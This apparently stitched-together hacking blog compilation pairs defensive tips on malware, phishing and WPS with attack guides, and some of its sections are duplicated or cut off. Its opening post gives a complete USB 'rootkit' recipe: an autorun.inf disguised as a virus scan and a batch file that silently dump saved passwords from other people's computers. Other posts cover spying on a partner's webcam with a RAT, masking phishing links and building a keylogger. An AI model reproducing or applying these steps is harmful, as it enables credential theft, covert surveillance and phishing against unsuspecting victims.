How to Hack Passwords Using USB Pen Drive
Hacking
passwords or any information using USB pendrive. Learn how to steal
information or passwords of your friends or enemies using pendrives...
Today I will show you how to hack Passwords using USB Pen Drive.
As we all know, Windows stores most of the passwords which are used on
a daily basis, including instant messenger passwords such as MSN,
Yahoo, AOL, Windows messenger etc. Along with these, Windows also
stores passwords of Outlook Express, SMTP, POP, FTP accounts and
auto-complete passwords of many browsers like IE and Firefox. There
exists many tools for recovering these passswords from their stored
places. Using these tools and an USB pendrive you can create your own
rootkit to hack passwords from your friend's/college Computer. We need
the following tools to create our rootkit.
MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.
Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.
IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 - v6.0
Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…
PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.
Here is a step by step procedre to create the password hacking toolkit.
NOTE: You must temporarily disable your antivirus before following these steps.
1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.
ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.
2. Create a new Notepad and write the following text into it
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
save the Notepad and rename it from
New Text Document.txt to autorun.inf
Now copy the autorun.inf file onto your USB pendrive.
3. Create another Notepad and write the following text onto it.
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
save the Notepad and rename it from
New Text Document.txt to launch.bat
Copy the launch.bat file also to your USB drive.
Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps
1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
4. Remove the pendrive and you'll see the stored passwords in the .TXT files.
This hack works on Windows 2000, XP, Vista and Windows 7
NOTE: This procedure will only recover the stored passwords (if any) on the Computer.

Seven useful Windows 7 tips and tricks
1. Bypass the Recycle Bin
The Windows Recycle Bin is a good safeguard against accidental file deletions. However, when you know you want to permanently delete a file, you can bypass it. Instead of pressing the Del key, press Shift+Del, then Shift+Enter to confirm.
If you prefer, you can also permanently disable the Recycle Bin. First, right-click on the Recycle Bin, then choose Properties. Click on the drive you want to disable the Recycle Bin for, then select "Don't move files to the Recycle Bin. Remove files immediately when deleted." Click the OK or Apply button to save the changes.

2. Open Windows Explorer faster
Are you still mousing over to a Windows Explorer icon or double-clicking on My Computer to browse your files? Try pressing Windows Logo+E instead, to instantly launch Windows Explorer.
3. Enable underlining of keyboard shortcuts
Windows has many menu shortcut keys, but they're hidden by default. To enable the underlining of the shortcuts, go to Control Panel > Ease of Access Center > Change how your keyboard works. Click on the box next to "Underline keyboard shortcuts and access keys," then hit the OK or Apply button to save.

4. Bypass the Windows splash screen
Disabling the Windows splash screen can shave a couple seconds from your total boot time. Launch the Windows Run command (Windows Logo+R), then type msconfig. Under the Boot tab, check the box next to "No GUI boot." Hit the OK or Apply button to save the changes.

5. Lock Windows quickly
Whether you're at the office, library, or cafe, it's always a good idea to lock Windows before you step away. To lock Windows quickly, press Windows Logo+L.
6. Show hidden files, folders, and drives
To view files, folders, and drives that Windows hides, open the Windows search box (Windows Logo) and type folder. Next, select Folder Options from the search list and navigate to the View tab. Under Hidden files and folders, check the box next to "Show hidden files, folders, and drives."
(Credit: Screenshot by Ed Rhee)
7. Rename multiples files
To rename multiple files in Windows, highlight the files you want to rename, then hit the F2 key. Rename the first file, then hit Enter. All your files will be renamed and a number in parenthesis will be added to the end of the name. If you change your mind, you can hit Ctrl+Z to undo the rename.
That's it. If you know of any other cool Windows tips and tricks, feel free to share them in the comments.

How To Speed Up My Internet Connection with Google Public DNS
A guide to getting more out of your internet connection without switching.
If you are looking to increase your internet speed without any expensive software then you came to right place. I will tell you how to increase your internet speed up to 50%-60 % with few clicks. I have applied this trick to my GPRS dial-up connection and my internet connection speed increased to almost double.
Here I will show you how to get fastest speed to load your websites by the using of Google public DNS. Domain Name System (DNS) is a database system that translates a computer’s fully qualified domain name into an IP address. For example, when you type pc-tips-hacks.blogspot.com in web browser then DNS translate pc-tips-hacks.blogspot.com to computer readable number known as IP address and when computer knows about the IP location of web domain name it simply opens website in the browser.
Our ISP (Internet Service Provider) provide their DNS which are located at router. Sometimes DNS server of ISP is very slow then it takes so much time to find out the web address and open the website. To solve this problem you can replace your ISP’s DNS service with Google Public DNS by changing the settings of the network connection.
1) Go to Start -> Control Panel
2) Click on Network Connections in Control Panel
3) Right click on Local Area Connection and then click on Properties
4) Select Internet Protocol (TCP/IP) and then click on properties
5) Select Use the following DNS server addresses in filed Preferred DNS server type 8.8.8.8 and in Alternate DNS server type 8.8.4.4
Hope this tutorial was useful for you.

How To Test Hacking Tools Without a Risk of Infection
I was asked by many
newbies over here about basic hacking software that every hacker
should have. I have until now mentioned about various free software downloads.
In this security article, i will mention about software used by hacker
to protect his computer from being affected from various hacking
software loopholes, Sandboxie.
What is Sandboxie?
Generally, if you are visiting hacking forums or various forums of free software downloads, some of these free downloads are affected or are attached viruses and trojans for malicious purposes. So, if victim installs them on his computer, the malicious scripts get installed on computer causing various problems depending on script. So, the better way is to install such applications on your PC but using Sandboxie.
Sandboxie will allow you to run your software downloads in a sandbox (in a separate memory area) to check whether or not they're what you were expecting. This can be great if you don't trust a download or freeware.
The red arrows indicate changes flowing from a running application program into your computer. The box labeled Hard disk (no sandbox) shows changes by a program running normally. The box labeled Hard disk (with sandbox) shows changes by a program running under Sandboxie. The animation illustrates that Sandboxie is able to intercept the changes and isolate them within a sandbox depicted as a yellow rectangle. It also illustrates that grouping the changes together makes it easy to delete all of them at once.
Sandboxie features:
Requirements for Sandboxie:
Sandboxie supports windows 2000, windows XP, windows Vista and windows Server 2003.
Sandboxie does not work on Windows 95, 98 or ME, or on Mac operating systems.
There are no particular hardware requirements. Sandboxie needs only a small amount of memory and should have a very small impact on performance.
Windows 2000 users:

Most of the
computer seems to get transferred from flash drives, pen drives and
other portable and removable media. As soon as you plug and play your
removable storage media, the windows’ default feature will search for Autorun.inf file which contains all the information about the things to do when media is plugged in.
It can execute programs (probably virus) which are already in removable storage media. Eventually the programs copies itself to the hard drive.

Even after the
virus is totally removed from the system, some users find it difficult
to restore all those things back which were affected by the virus. A
virus usually when enters into a system disables the registry editor
and task manager so that the user can not remove the virus from the
system.
Here is a free tool Re-Enable using which even a novice users can fix all the things which were disabled by the virus. An antivirus can remove the virus files but sometimes it may fail to restore the system settings. In such situations this tool can come handy.
The program has the ability to restore functionality to these Windows features:

How to Check if Your Computer is Infected or Not
Lets start:
First Method: Checking the startup
1. Open the "Run" by pressing "windows key + r" or go to "Start", and then select "Run".
2. Type msconfig
3. A window will come up. Go to the "Startup" Tab.
4. Now as you can see, you have the list of all the applications that start with Windows. You can find almost every RAT/Stealer/Keylogger/bot...
5. Search for some file like "Stub.exe" ,"server.exe" ,"s3rver.exe"... This are the most used names.
If you found one uncheck it, and click on "Save". Reboot your computer, and you have successfully prevented the malware(s) to startup with the system.
Second Method: Checking the Registry
In the registry every application saves its configuration, of course malware too. Malware often uses the Registry to startup, and Save the options.
1. Open the "Run" (Start -> Run)
2. Write regedit.exe
3. Search In The HKey_Current_User (HKCU) for the Software Folder.
4. There will be a list with the programs. If you are infected, you'll find something like Server or Stub, some sh*t like that.
5. If you found one, delete that entry (Right Click -> Delete Entry).
Third Method
1. Install Malwarebytes' Anti-Malware. It's really the best anti-malware. Check for updates and make a full scan.
First Method: Checking the startup
1. Open the "Run" by pressing "windows key + r" or go to "Start", and then select "Run".
2. Type msconfig
3. A window will come up. Go to the "Startup" Tab.
4. Now as you can see, you have the list of all the applications that start with Windows. You can find almost every RAT/Stealer/Keylogger/bot...
5. Search for some file like "Stub.exe" ,"server.exe" ,"s3rver.exe"... This are the most used names.
If you found one uncheck it, and click on "Save". Reboot your computer, and you have successfully prevented the malware(s) to startup with the system.
Second Method: Checking the Registry
In the registry every application saves its configuration, of course malware too. Malware often uses the Registry to startup, and Save the options.
1. Open the "Run" (Start -> Run)
2. Write regedit.exe
3. Search In The HKey_Current_User (HKCU) for the Software Folder.
4. There will be a list with the programs. If you are infected, you'll find something like Server or Stub, some sh*t like that.
5. If you found one, delete that entry (Right Click -> Delete Entry).
Third Method
1. Install Malwarebytes' Anti-Malware. It's really the best anti-malware. Check for updates and make a full scan.
How to Hack and Spy on a Webcam
I get a lot of
emails where my readers are asking for help to find out if his/her
partner is cheating on them, chatting to someone she/he shouldn't be,
etc. So here i decided to answer this question, and to get it clear
once for all.
Today there are softwares called RATs (Remote Administrator Tools) that are mostly used for malicious purposes, such as controlling PC’s, stealing victims data, deleting or editing some files. You can only infect someone by sending him file called Server and they need to click it. With a RAT, you can make the party download files, view their desktop/webcam, and more.
Except the advantages of using a RAT, there are also few disadvantages that you should know about:
1. The RATs are detected by the most anti-virus software.
2. You can get infected by using a RAT.
3. You can get traced when you rat somebody.
In this article i am going to share A step by step guide that allows you to remotely access anybody's webcam, microphone, files and desktop from anywhere in the world, without to worry about the things i mention above.
You can install this on any PC and monitor who ever uses that PC, or even someone passing by. There are no system requirements and this works 99.9% of the time.
This also includes the ability to:
I have tested this from every single angle possible and have had the BEST success rate with it.

Learn How To Mask URL
As we all know, Phishing
is one of the most useful and simple methods for hacking email
accounts. When sending a phishing mail you have to include the link to
your phisher page, so instead of sending mail with actual URL that can
create a sense of doubt in victim's mind, we can hide the URL. Dot.tk is
an online service which enables you to hide/mask the url.
How to Mask a URL:
Consider you have hosted your phisher page and your phisher link is something like: http://www.facebook.110mb.com
So, whenever victim checks out this link, he will find the link suspicious. This can be detrimental for our hack. The best way is to make this link less suspicious i.e. to hide/mask the URL.
1. Go to Dot.tk to hide a URL.
2. Enter your phisher link in the textbox and hit on Next.
3. Enter the link you want to rename your phisher link to.
4. Now, you can send this masked phisher link to your victim. The victim will now find our phisher link less suspicious as we have hidden the actual phisher link using .tk domain.

Keylogger for Linux
Lots
of people actually believe that Trojans are invalid against Linux
operating systems. The reality is that Trojan are valid against Linux
operating systems, but they infect in a different manner.LKL is a famous Linux keylogger that runs under Linux on the x86 arch. LKL sniffs and logs everything that passes through the hardware keyboard port (0x60). It translates keycodes to ASCII with a keymap file.
Installation:
The 'configure' shell script attempts to guess correct values for various system-dependent variables used during compilation.
It uses those values to create a 'Makefile' in each directory of the package. It may also create one or more '.h' files containing system-dependent definitions.
Finally, it creates a shell script 'config.status' that you can run in the future to recreate the current configuration, a file 'config.cache' that saves the results of its tests to speed up
reconfiguring, and a file 'config.log' containing compiler output (useful mainly for debugging 'configure').
If you need to do unusual things to compile the package, please try to figure out how 'configure' could check whether to do them, and mail diffs or instructions to the address given in the 'README' so they can be considered for the next release.
If at some point 'config.cache' contains results you don't want to keep, you may remove or edit it.
The file 'configure.in' is used to create 'configure' by a program called 'autoconf'. You only need 'configure.in' if you want to change it or regenerate 'configure' using a newer version of 'autoconf'.
The simplest way to compile this package is:
1. 'cd' to the directory containing the package's source code and type './configure' to configure the package for your system.
If you're using 'csh' on an old version of System V, you might need to type 'sh ./configure' instead to prevent 'csh' from trying to execute 'configure' itself.
Running 'configure' takes awhile. While running, it prints some messages telling which features it is checking for.
2. Type 'make' to compile the package.
3. Optionally, type 'make check' to run any self-tests that come with the package.
4. Type 'make install' to install the programs and any data files and documentation.
5. You can remove the program binaries and object files from the source code directory by typing 'make clean'. To also remove the files that 'configure' created (so you can compile the package for a different kind of computer), type 'make distclean'.
There is also a 'make maintainer-clean' target, but that is intended mainly for the package's developers. If you use it, you may have to get all sorts of other programs in order to regenerate files that came with the distribution.

How to Detect Fake Emails
How to Detect Fake Mails:
1. Lets get back to the example I illustrated in my article Fake Mailer. I had used "support@gmail.com" as the sender email address. No doubt, this was fake and the receiver will get the fake email sent by me.
2. Suppose you are the receiver. Now, I will tell you how to recognize this mail as fake. Open the email and hit on "Show Details".
3. Something you must know:
Whenever Google sends you any email, the email details will contain fields like:
Also, most of the times, "Mailed by" field will have value:
depending on the type of your mail. This is true for every genuine email from every mail provider.
4. But, these two fields will not be present in the details of Fake Mail. Also, if the mail details contain these fields, the value of these fields will not be *.google.com
Fake Mail without "Mailed by" field:
Fake Mail with "Mailed by" field.
As you can see, the "mailed by" field shows the hosting server's name and not the Google server. This means, this server is used to send you the fake email and most probably, the fake mailer is hosted on the same server.
You can also check out the header field to detect fake mails. Follow the steps:
- Open the mail. Hit on down arrow next to "Reply" and click on "Show Original".
- Now, check out "Received" fields. This field will show you the name of server from which the mail is sent. As you can see, we have used "emkei.cz" as our fake mailer. So, it has appeared in "Received" field.
More Tips:
- Fake Mail usually have attractive titles.
- Such mails address receiver as "Dear Customer" or such and do not use your real name.
- Never click on any link in emails. Instead, open such links manually in new tab. Refer my article Anti-Phishing measures for more information.
Follow these tips and you will be able to recognize fake, spoof, spam emails. If you know any other useful tip to detect fake or spam emails, please share it with us in comments.

Know More About Phishing Attacks
Phishing
is a method of stealing login info (usernames and passwords) by
directing the victim to a clone (fake) login page, that logs the login
info without the knowledge of the victim. Such clone website is known as
a phisher. eBay, PayPal and other online banks are common targets.
Phishing is an example of social engineering techniques used to fool
users. Attempts to deal with the growing number of reported phishing
incidents include legislation, user training, public awareness, and
technical measures.Recent phishing attempts have targeted the customers of banks and online payment services. Social networking sites such as Orkut are also a target of phishing.
Spoofed/Fraudulent e-mails are the most widely used tools to carry out the phishing attack. In most cases we get a fake e-mail that appears to have come from a Trusted Website . Here the hacker may request us to verify username & password by replaying to a given email address.
How to protect yourself against phishing?
- Use your login info in the correct places only.
Don't ever put your login info anywhere else than the page you registered to, unless it's a trusted service, such as youtube or blogger, asking for your google account's info).
- Make sure the website you're logging in isn't fake.
Whenever you login to a website, if you didn't type the URL (address) of the website yourself, i.e. if you clicked a link that led you to the login page (from message, website, search engine results), always check the url (address) to see if you're in the right place.
For instance, if you're logging in your facebook account, make sure the url appears as http://www.facebook.com/
Where a phisher page would look like http://www.facebook.freewebs.com/, or http://www.facebook.spam.com/, or any url whose part before the .com isn't exactly the same as the page you want to login to.
- Make sure the links you're clicking aren't fake.
Whenever you're clicking a link, check where the link goes before clicking it. Links can be masked to appear as something else than the page they're leading to. For example, www.google.com leads to yahoo instead of google. Fortunately, in most browsers, whenever you point your mouse cursor over the link, the true location of the link is displayed on the bottom left part of the screen.
This is particularly important because it can protect you from another, rarer but more dangerous method called cookie stealing, which is basically automatically stealing your account if you're previously logged in the website.
Know that links to phishing pages are usually spread via email, and often represent impersonating trusted services and persons, such as making the email appear as it's sent from the website you've registered to, or a friend of yours whose account has been compromised.
What to do if you have spotted a phisher?
- Report the phisher as soon as you can. Report the phisher's address here: http://www.google.com/safebrowsing/report_phish/
- If the phishing attempt has been done via message, report the message in any of the following services:
http://www.reportphish.org/forwardphish.php
http://www.us-cert.gov/nav/report_phishing.html
- If you received the message from a friend's compromised account, inform your friend, and other friends that might be in danger.
- If possible, inform the admin of the website that the phisher is made for.
So the Bottom line to defend from phishing attack is
1. Never assume that an email is valid based on the sender’s email address.
2. A trusted bank/organization such as paypal will never ask you for your full name and password in a PayPal email.
3. An email from trusted organization will never contain attachments or software.
4. Clicking on a link in an email is the most insecure way to get to your account.
Reaver – WiFi Protected Setup Brute Force Attack Tool
Reaver implements a brute force attack against Wifi Protected Setup (WPS) registrar PINs in order to recover WPA/WPA2 passphrases, as described in http://sviehb.files.wordpress.com/2011/12/viehboeck_wps.pdf.
Reaver has been designed to be a robust and practical attack against WPS, and has been tested against a wide variety of access points and WPS implementations.
On average Reaver will recover the target AP’s plain text WPA/WPA2 passphrase in 4-10 hours, depending on the AP. In practice, it will generally take half this time to guess the correct WPS pin and recover the passphrase.
While Reaver does not support reconfiguring the AP, this can be accomplished with wpa_supplicant once the WPS pin is known.
Description:
Reaver targets the external registrar functionality mandated by the WiFi Protected Setup specification. Access points will provide authenticated registrars with their current wireless configuration (including the WPA PSK), and also accept a new configuration from the registrar.
In order to authenticate as a registrar, the registrar must prove its knowledge of the AP’s 8-digit pin number. Registrars may authenticate themselves to an AP at any time without any user interaction. Because the WPS protocol is conducted over EAP, the registrar need only be associated with the AP and does not need any prior knowledge of the wireless encryption or configuration.
Reaver performs a brute force attack against the AP, attempting every possible combination in order to guess the AP’s 8 digit pin number. Since the pin numbers are all numeric, there are 10^8 (100,000,000) possible values for any given pin number. However, because the last digit of the pin is a checksum value which can be calculated based on the previous 7 digits, that key space is reduced to 10^7 (10,000,000) possible values.
The key space is reduced even further due to the fact that the WPS authentication protocol cuts the pin in half and validates each half individually. That means that there are 10^4 (10,000) possible values for the first half of the pin and 10^3 (1,000) possible values for the second half of the pin, with the last digit of the pin being a checksum.
Reaver brute forces the first half of the pin and then the second half of the pin, meaning that the entire key space for the WPS pin number can be exhausted in 11,000 attempts. The speed at which Reaver can test pin numbers is entirely limited by the speed at which the AP can process WPS requests. Some APs are fast enough that one pin can be tested every second; others are slower and only allow one pin every ten seconds. Statistically, it will only take half of that time in order to guess the correct pin number.
Installation:
Reaver is only supported on the Linux platform, requires the libpcap and libsqlite3 libraries, and can be built and installed by running:
Usually, the only required arguments to Reaver are the interface name and the BSSID of the target AP:

WiFi Protected Setup (WPS) PIN Brute Force Vulnerability
The WiFi Protected Setup (WPS) PIN is susceptible to a brute force attack. A design flaw that exists in the WPS specification for the PIN authentication significantly reduces the time required to brute force the entire PIN because it allows an attacker to know when the first half of the 8 digit PIN is correct. The lack of a proper lock out policy after a certain number of failed attempts to guess the PIN on many wireless routers makes this brute force attack that much more feasible.
Description:
WiFi Protected Setup (WPS) is a computing standard created by the WiFi Alliance to ease the setup and securing of a wireless home network. WPS contains an authentication method called “external registrar” that only requires the router’s PIN. By design this method is susceptible to brute force attacks against the PIN.
When the PIN authentication fails the access point will send an EAP-NACK message back to the client. The EAP-NACK messages are sent in a way that an attacker is able to determine if the first half of the PIN is correct. Also, the last digit of the PIN is known because it is a checksum for the PIN. This design greatly reduces the number of attempts needed to brute force the PIN. The number of attempts goes from 108 to 104 + 103 which is 11,000 attempts in total.
It has been reported that many wireless routers do not implement any kind of lock out policy for brute force attempts. This greatly reduces the time required to perform a successful brute force attack. It has also been reported that some wireless routers resulted in a denial-of-service condition because of the brute force attempt and required a reboot.
Impact:
An attacker within range of the wireless access point may be able to brute force the WPS PIN and retrieve the password for the wireless network, change the configuration of the access point, or cause a denial of service.
Solution:
We are currently unaware of a practical solution to this problem. Please consider the following workarounds:
Disable WPS
Within the wireless router’s configuration menu, disable the external registrar feature of WiFi Protected Setup (WPS). Depending on the vendor, this may be labeled as external registrar, router PIN, or WiFi Protected Setup.
